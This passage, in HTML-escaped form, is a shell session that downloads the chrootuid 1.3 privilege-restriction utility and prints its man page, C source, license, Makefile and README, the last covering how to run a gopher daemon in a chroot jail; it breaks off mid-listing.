/&gt;==&amp;gt; PASV ... done.&amp;nbsp;&amp;nbsp;&amp;nbsp; ==&amp;gt; RETR chrootuid1.3.tar.gz ... done.&lt;br /&gt;Length: 5439 (5.3K)&lt;br /&gt;&lt;br /&gt;100%[==================================================================================================================&amp;gt;] 5,439&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --.-K/s&amp;nbsp;&amp;nbsp; in 0.08s&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;2012-03-04 02:30:18 (66.9 KB/s) - `chrootuid1.3.tar.gz' saved [5439]&lt;br /&gt;[root@godad ~]# tar zxvf chrootuid1.3.tar.gz&lt;br /&gt;chrootuid1.3/&lt;br /&gt;chrootuid1.3/README&lt;br /&gt;chrootuid1.3/chrootuid.c&lt;br /&gt;chrootuid1.3/chrootuid_license&lt;br /&gt;chrootuid1.3/chrootuid.1&lt;br /&gt;chrootuid1.3/Makefile&lt;br /&gt;[root@godad ~]# cd chrootuid1.3&lt;br /&gt;[root@godad chrootuid1.3]# ls -a&lt;br /&gt;.&amp;nbsp; ..&amp;nbsp; chrootuid.1&amp;nbsp; chrootuid.c&amp;nbsp; chrootuid_license&amp;nbsp; Makefile&amp;nbsp; README&lt;br /&gt;[root@godad chrootuid1.3]# cat&amp;nbsp; chrootuid.1&lt;br /&gt;.TH CHROOTUID 1 &lt;br /&gt;.ad&lt;br /&gt;.fi&lt;br /&gt;.SH NAME&lt;br /&gt;chrootuid&lt;br /&gt;\-&lt;br /&gt;run command in restricted environment&lt;br /&gt;.SH SYNOPSIS&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;\fBchrootuid\fR \fInewroot newuser command\fR...&lt;br /&gt;.SH DESCRIPTION&lt;br /&gt;.ad&lt;br /&gt;.fi&lt;br /&gt;The \fBchrootuid\fR command sets up a restricted environment for&lt;br /&gt;executing \fIcommand\fR. Access to the file system is restricted to&lt;br /&gt;the \fInewroot\fR subtree; privileges are restricted to those of&lt;br /&gt;the \fInewuser\fR account (which must be a known account in the&lt;br /&gt;unrestricted environment).&lt;br /&gt;The initial working directory is changed to \fInewroot\fR.&lt;br /&gt;&lt;br /&gt;\fBchrootuid\fR combines chroot(8) and su(1) into one program, so&lt;br /&gt;that there is no need to have commands such as /usr/bin/su&lt;br /&gt;in the restricted environment.&lt;br /&gt;&lt;br /&gt;Only the superuser can use the \fBchrootuid\fR command.&lt;br /&gt;.SH DIAGNOSTICS&lt;br /&gt;.ad&lt;br /&gt;.fi&lt;br /&gt;The exit status is 1 when \fBchrootuid\fR has a problem, otherwise&lt;br /&gt;the exit status is the exit status of \fIcommand\fR.&lt;br /&gt;.SH SEE ALSO&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;chroot(8), su(1)&lt;br /&gt;.SH DIAGNOSTICS&lt;br /&gt;.ad&lt;br /&gt;.fi&lt;br /&gt;Problems are reported to the syslog daemon.&lt;br /&gt;.SH AUTHOR(S)&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;Wietse Venema&lt;br /&gt;Eindhoven University of Technology&lt;br /&gt;Department of Mathematics and Computer Science&lt;br /&gt;Den Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands&lt;br /&gt;&lt;br /&gt;IBM T.J. Watson Research&lt;br /&gt;P.O. Box 704&lt;br /&gt;Yorktown Heights, NY 10598, USA&lt;br /&gt;.SH CREATION DATE&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;Tue Oct 13 11:37:29 MET 1992&lt;br /&gt;.SH LAST MODIFICATION&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;Wed Jul 25 11:25:08 EDT 2001&lt;br /&gt;.SH VERSION/RELEASE&lt;br /&gt;.na&lt;br /&gt;.nf&lt;br /&gt;1.3&lt;br /&gt;[root@godad chrootuid1.3]# cat chrootuid.c &lt;br /&gt;/*++&lt;br /&gt;/* NAME&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; chrootuid 1&lt;br /&gt;/* SUMMARY&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; run command in restricted environment&lt;br /&gt;/* SYNOPSIS&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; \fBchrootuid\fR \fInewroot newuser command\fR...&lt;br /&gt;/* DESCRIPTION&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; The \fBchrootuid\fR command sets up a restricted environment for&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; executing \fIcommand\fR. Access to the file system is restricted to&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; the \fInewroot\fR subtree; privileges are restricted to those of&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; the \fInewuser\fR account (which must be a known account in the&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; unrestricted environment).&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; The initial working directory is changed to \fInewroot\fR.&lt;br /&gt;/*&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; \fBchrootuid\fR combines chroot(8) and su(1) into one program, so&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; that there is no need to have commands such as /usr/bin/su&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; in the restricted environment.&lt;br /&gt;/*&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Only the superuser can use the \fBchrootuid\fR command.&lt;br /&gt;/* DIAGNOSTICS&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; The exit status is 1 when \fBchrootuid\fR has a problem, otherwise &lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; the exit status is the exit status of \fIcommand\fR.&lt;br /&gt;/* SEE ALSO&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; chroot(8), su(1)&lt;br /&gt;/* DIAGNOSTICS&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Problems are reported to the syslog daemon.&lt;br /&gt;/* AUTHOR(S)&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Wietse Venema&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Eindhoven University of Technology&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Department of Mathematics and Computer Science&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Den Dolech 2, P.O. Box 513, 5600 MB Eindhoven, The Netherlands&lt;br /&gt;/*&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; IBM T.J. Watson Research&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; P.O. Box 704&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Yorktown Heights, NY 10598, USA&lt;br /&gt;/* CREATION DATE&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Tue Oct 13 11:37:29 MET 1992&lt;br /&gt;/* LAST MODIFICATION&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; Wed Jul 25 11:25:08 EDT 2001&lt;br /&gt;/* VERSION/RELEASE&lt;br /&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.3&lt;br /&gt;/*--*/&lt;br /&gt;&lt;br /&gt;#ifndef lint&lt;br /&gt;static char sccsid[] = "@(#) chrootuid.c 1.3 2001/07/25 11:25:08";&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;/* System libraries. */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;pwd.h&amp;gt;&lt;br /&gt;#include &amp;lt;grp.h&amp;gt;&lt;br /&gt;#include &amp;lt;syslog.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; main(argc, argv)&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; argc;&lt;br /&gt;char&amp;nbsp; **argv;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct passwd *pwd;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Open a channel to the syslog daemon. Older versions of openlog()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * require only two arguments.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;&lt;br /&gt;#ifdef LOG_DAEMON&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (void) openlog(argv[0], LOG_PID | LOG_NDELAY, LOG_DAEMON);&lt;br /&gt;#else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (void) openlog(argv[0], LOG_PID);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Require proper amount of arguments. In all cases of error, exit with&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * zero status because we have already reported the problem via syslogd.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * No need to make inetd complain, too.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc &amp;lt; 4) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "usage: %s path user command", argv[0]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Must step into the new subtree. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (chdir(argv[1])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "chdir(%s): %m", argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* The user must be known in the *unrestricted* universe... */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((pwd = getpwnam(argv[2])) == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "%s: user unknown", argv[2]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* initgroups() accesses the group file in the unrestricted universe... */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (initgroups(pwd-&amp;gt;pw_name, pwd-&amp;gt;pw_gid) &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "initgroups: %m");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; endgrent();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Do the chroot() before giving away root privileges. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (chroot(argv[1])) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "chroot(%s): %m", argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Switch group id then user id. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (setgid(pwd-&amp;gt;pw_gid)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "setgid(%d): %m", pwd-&amp;gt;pw_gid);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (setuid(pwd-&amp;gt;pw_uid)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "setuid(%d): %m", pwd-&amp;gt;pw_uid);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* In case we still have the /etc/passwd file still open. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; endpwent();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Run the command and hope for the best. */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (void) execv(argv[3], argv + 3);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; syslog(LOG_ERR, "%s: %m", argv[3]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return (0);&lt;br /&gt;}&lt;br /&gt;[root@godad chrootuid1.3]# cat chrootuid_license&lt;br /&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;&lt;br /&gt;As of July 25, 2001, the text below constitutes the chrootuid license.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;/*&lt;br /&gt;&amp;nbsp; * Copyright 2001 by Wietse Venema.&amp;nbsp; All rights reserved.&amp;nbsp; Some individual&lt;br /&gt;&amp;nbsp; * files may be covered by other copyrights.&lt;br /&gt;&amp;nbsp; * &lt;br /&gt;&amp;nbsp; * This material was originally written and compiled by Wietse Venema at&lt;br /&gt;&amp;nbsp; * Eindhoven University of Technology, The Netherlands, in 1990, 1991, 1992,&lt;br /&gt;&amp;nbsp; * 1993, 1994 and 1995.&lt;br /&gt;&amp;nbsp; * &lt;br /&gt;&amp;nbsp; * Later versions are maintained by Wietse Venema at IBM T.J. Watson Research,&lt;br /&gt;&amp;nbsp; * Hawthorne, USA, in 2001.&lt;br /&gt;&amp;nbsp; * &lt;br /&gt;&amp;nbsp; * Redistribution and use in source and binary forms, with or without&lt;br /&gt;&amp;nbsp; * modification, are permitted provided that this entire copyright notice is&lt;br /&gt;&amp;nbsp; * duplicated in all such copies.&lt;br /&gt;&amp;nbsp; * &lt;br /&gt;&amp;nbsp; * This software is provided "as is" and without any expressed or implied&lt;br /&gt;&amp;nbsp; * warranties, including, without limitation, the implied warranties of&lt;br /&gt;&amp;nbsp; * merchantibility and fitness for any particular purpose.&lt;br /&gt;&amp;nbsp; */&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP SIGNATURE-----&lt;br /&gt;Version: 2.6.3i&lt;br /&gt;Charset: noconv&lt;br /&gt;&lt;br /&gt;iQCVAwUBO17bvtyA8qbVMny5AQF8zgP+LYWTT4axQNy3aAdr7SAFNcoNAjNNa02f&lt;br /&gt;Oij2zE2SAjIW/g+dEbIdPewPccXzvSoKgbW9EcIIS8Ix958FIYeAPVkFNywvvn8u&lt;br /&gt;ETrpU8KP3SBMdvyk57gLqYDOr+LQvqD6TkkfND5p0++LUPGR/31qjBpRZDSQngWZ&lt;br /&gt;uCuydXF4tec=&lt;br /&gt;=EpPk&lt;br /&gt;-----END PGP SIGNATURE-----&lt;br /&gt;[root@godad chrootuid1.3]# ls&lt;br /&gt;chrootuid.1&amp;nbsp; chrootuid.c&amp;nbsp; chrootuid_license&amp;nbsp; Makefile&amp;nbsp; README&lt;br /&gt;[root@godad chrootuid1.3]# cat Makefile&lt;br /&gt;# @(#) Makefile 1.2 93/08/12 16:09:29&lt;br /&gt;&lt;br /&gt;FILES&amp;nbsp;&amp;nbsp;&amp;nbsp; = README Makefile chrootuid.c chrootuid.1&lt;br /&gt;CFLAGS&amp;nbsp;&amp;nbsp;&amp;nbsp; = -O &lt;br /&gt;&lt;br /&gt;all:&amp;nbsp;&amp;nbsp;&amp;nbsp; chrootuid chrootuid.1&lt;br /&gt;&lt;br /&gt;chrootuid: chrootuid.c&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(CC) $(CFLAGS) -o $@ $?&lt;br /&gt;&lt;br /&gt;#chrootuid.1: chrootuid.c&lt;br /&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp; srctoman $? &amp;gt;$@&lt;br /&gt;&lt;br /&gt;shar:&amp;nbsp;&amp;nbsp;&amp;nbsp; $(FILES)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @shar $(FILES)&lt;br /&gt;&lt;br /&gt;install: chrootuid.1 chrootuid&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cp chrootuid /usr/local/bin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cp chrootuid.1 /usr/local/man/man1&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; rm -f *.o core chrootuid&lt;br /&gt;[root@godad chrootuid1.3]# ls&lt;br /&gt;chrootuid.1&amp;nbsp; chrootuid.c&amp;nbsp; chrootuid_license&amp;nbsp; Makefile&amp;nbsp; README&lt;br /&gt;[root@godad chrootuid1.3]# cat README&lt;br /&gt;@(#) README 1.3 2001/07/25 10:15:32&lt;br /&gt;&lt;br /&gt;chrootuid - run command in restricted environment&lt;br /&gt;&lt;br /&gt;Description&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;Chrootuid makes it easy to run a network service at low privilege&lt;br /&gt;level and with restricted file system access.&amp;nbsp; In the past I used&lt;br /&gt;this program to run the gopher and www (world-wide web) network&lt;br /&gt;daemons in a restricted environment:&amp;nbsp; the daemons have access only&lt;br /&gt;to their own directory tree, and run under a low-privileged userid.&lt;br /&gt;Nowadays I also use it for proxy servers.&amp;nbsp; The arrangement greatly&lt;br /&gt;reduces the impact of possible loopholes in network software.&lt;br /&gt;&lt;br /&gt;Note: for security reasons, chrootuid uses the passwd and group&lt;br /&gt;files from *outside* the chroot area. This idea was suggested by&lt;br /&gt;Douglas Schales of Texas A&amp;amp;M University, now with IBM Research.&lt;br /&gt;&lt;br /&gt;This software was initially released in 1993. However, chrootuid&lt;br /&gt;is still being used after all those years, so I have released a&lt;br /&gt;slightly updated version with a BSD-style license. The examples&lt;br /&gt;below are still the original ones. Although the systems don't exist&lt;br /&gt;anymore, the same ideas still apply.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Wietse Venema&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; wietse@porcupine.org&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IBM T.J. Watson Research Center&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hawthorne, USA&lt;br /&gt;&lt;br /&gt;Installation&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;The source of the chrootuid program is small and easy to verify.&amp;nbsp; In&lt;br /&gt;order to build the program, run "make". If it compiles OK, edit the&lt;br /&gt;destination pathnames in the Makefile and do a "make install".&lt;br /&gt;&lt;br /&gt;Important: chrootuid should *not* be installed set-uid.&lt;br /&gt;&lt;br /&gt;Using the chrootuid program&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;The use of the chrootuid program will be illustrated with the gopher&lt;br /&gt;service. The examples are easily adapted to www (world-wide web) or any&lt;br /&gt;other network service.&lt;br /&gt;&lt;br /&gt;In the inetd.conf file, make a gopher entry like this:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; gopher&amp;nbsp; stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp; nowait&amp;nbsp; root&amp;nbsp; /usr/local/lib/gopherd gopherd&lt;br /&gt;&lt;br /&gt;If you like to run the daemon under control of my tcp/ip daemon&lt;br /&gt;wrapper, use the following entry:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; gopher&amp;nbsp; stream&amp;nbsp; tcp&amp;nbsp;&amp;nbsp; nowait&amp;nbsp; root&amp;nbsp; /some/where/tcpd /usr/local/lib/gopherd&lt;br /&gt;&lt;br /&gt;On some systems you will have to omit the "root" field, because all&lt;br /&gt;daemons are executed as root by default. &lt;br /&gt;&lt;br /&gt;The file /usr/local/lib/gopherd should be a shell script that is&lt;br /&gt;maintained by the superuser, because inetd runs the script with root&lt;br /&gt;privilege. It is this script that runs the real gopher daemon, as an&lt;br /&gt;unprivileged process, in a restricted environment. Of course you can&lt;br /&gt;specify any other pathname for the script, as long as it is fully&lt;br /&gt;controlled by the superuser.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; #!/bin/sh&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exec /usr/local/bin/chrootuid /some/where/gopher nobody \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /bin/gopherd -I -l /tmp/gopher.log \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -o /bin/gopherd.conf \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -c -C /gopherdata 70&lt;br /&gt;&lt;br /&gt;I'll describe the contents of this script in some detail:&lt;br /&gt;&lt;br /&gt;- Instead of /usr/local/bin/chrootuid, specify the absolute path to the&lt;br /&gt;installed chrootuid executable. The program is executed by root so the&lt;br /&gt;path should be fully controlled by the super user.&lt;br /&gt;&lt;br /&gt;- Instead of /some/where/gopher, specify the absolute path to your&lt;br /&gt;gopher directory tree. The gopher daemon will have access only to files&lt;br /&gt;within this subtree. This arrangement is similar to anonymous FTP.&lt;br /&gt;&lt;br /&gt;- The gopher daemon will be executed with the privileges of the "nobody"&lt;br /&gt;account.&amp;nbsp; You can specify any unprivileged account, as long as it does&lt;br /&gt;not own any files etc. within the gopher directory tree. The account&lt;br /&gt;info will be extracted from the regular password database, so there is&lt;br /&gt;no need for passwd or group files below the gopher directory tree.&lt;br /&gt;&lt;br /&gt;- "/bin/gopherd -I -l ..." is the command that will be executed, after&lt;br /&gt;access to the file system has been restricted to the gopher directory&lt;br /&gt;tree, and after privileges have been reduced to those of "nobody" (or&lt;br /&gt;whatever account name you choose).&amp;nbsp; All path names should be absolute&lt;br /&gt;with respect to the root of the gopher directory tree. Thus,&lt;br /&gt;/bin/gopherd corresponds to /some/where/gopher/bin/gopherd.&lt;br /&gt;&lt;br /&gt;On systems with shared libraries it will be necessary to set up the&lt;br /&gt;appropriate files in the gopher directory tree. The appendix below&lt;br /&gt;shows [a slightly edited version of] what we have. It is very similar&lt;br /&gt;to what one has to set up for anonymous FTP, except that no passwd or&lt;br /&gt;group files are needed.&lt;br /&gt;&lt;br /&gt;Finally, chrootuid reports all problems to the syslog daemon.&amp;nbsp; Have a&lt;br /&gt;look at your syslog.conf file if you don't know where the errors are&lt;br /&gt;logged.&lt;br /&gt;&lt;br /&gt;Appendix: sample restricted gopher subtree&lt;br /&gt;==========================================&lt;br /&gt;&lt;br /&gt;This example is a slightly edited version of own gopher subtree.&amp;nbsp; Some&lt;br /&gt;details (shared libs, DNS, and timezone stuff) are specific to SunOS;&lt;br /&gt;hints are given for Ultrix 4.x.&lt;br /&gt;&lt;br /&gt;The restricted gopher subtree is very similar to the tree used for&lt;br /&gt;anonymous ftp, except that no passwd or group files are needed.&amp;nbsp; The&lt;br /&gt;example assumes that the tree is located at /some/where/gopher, which&lt;br /&gt;will sometimes be referred to as ~gopher for brevity.&lt;br /&gt;&lt;br /&gt;SunOS notes:&amp;nbsp; the shared libraries in this example are specific to&lt;br /&gt;SunOS 4.1.1. What you will need depends on the OS release and on the&lt;br /&gt;compiler used to build the gopher executable (do `ldd gopherd' to find&lt;br /&gt;out; you'll always need the ld.so runtime linker, though). The example&lt;br /&gt;assumes that you are running DNS on top of NIS.&amp;nbsp; Otherwise, you will&lt;br /&gt;need a ~gopher/etc/resolv.conf file.&lt;br /&gt;&lt;br /&gt;Ultrix notes: you will need the following files in ~gopher/etc:&amp;nbsp; hosts,&lt;br /&gt;resolv.conf, svc.conf, svcorder. Just copy them from a DNS client host.&lt;br /&gt;&lt;br /&gt;Other systems: it may be necessary to install a ~gopher/etc/resolv.conf&lt;br /&gt;file so that gopherd can find the domain name server (DNS).&lt;br /&gt;&lt;br /&gt;It is convenient to have a symlink ~gopher/some/where/gopher -&amp;gt; ../..&lt;br /&gt;so that old pathnames keep working after the installation of chrootuid.&lt;br /&gt;&lt;br /&gt;Important: make sure that no files etc. are owned by the unprivileged&lt;br /&gt;account ("nobody" or whatever you chose). The only exception that we&lt;br /&gt;permit is the gopherd logfile, because no program depends on it.&lt;br /&gt;&lt;br /&gt;~gopher:&lt;br /&gt;drwxr-sr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Aug 12 13:33 bin&lt;br /&gt;dr-xr-sr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Oct 12&amp;nbsp; 1992 dev&lt;br /&gt;drwxr-sr-x&amp;nbsp; 9 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Aug&amp;nbsp; 9 12:35 gopherdata&lt;br /&gt;dr-xr-sr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Apr 22 14:24 some&lt;br /&gt;drwxrwsrwt&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Aug 12 13:48 tmp&lt;br /&gt;dr-xr-sr-x&amp;nbsp; 4 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Jan 25&amp;nbsp; 1993 usr&lt;br /&gt;&lt;br /&gt;~gopher/bin:&lt;br /&gt;-rwx--x--x&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 409600 Aug 12 13:39 gopherd&lt;br /&gt;-rw-r--r--&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2299 Jun 15 10:12 gopherd.conf&lt;br /&gt;&lt;br /&gt;~gopher/dev:&lt;br /&gt;crw-rw-rw-&amp;nbsp; 1 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3,&amp;nbsp; 12 Oct 12&amp;nbsp; 1992 zero&lt;br /&gt;&lt;br /&gt;~gopher/gopherdata:&lt;br /&gt;&amp;lt;our information data base omitted for brevity&amp;gt;&lt;br /&gt;&lt;br /&gt;~gopher/some:&lt;br /&gt;dr-xr-xr-x&amp;nbsp; 2 exp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 512 Apr 22 14:24 where&lt;br /&gt;&lt;br /&gt;~gopher/some/where:&lt;br /&gt;lrwxrwxrwx&amp;nbsp; 1 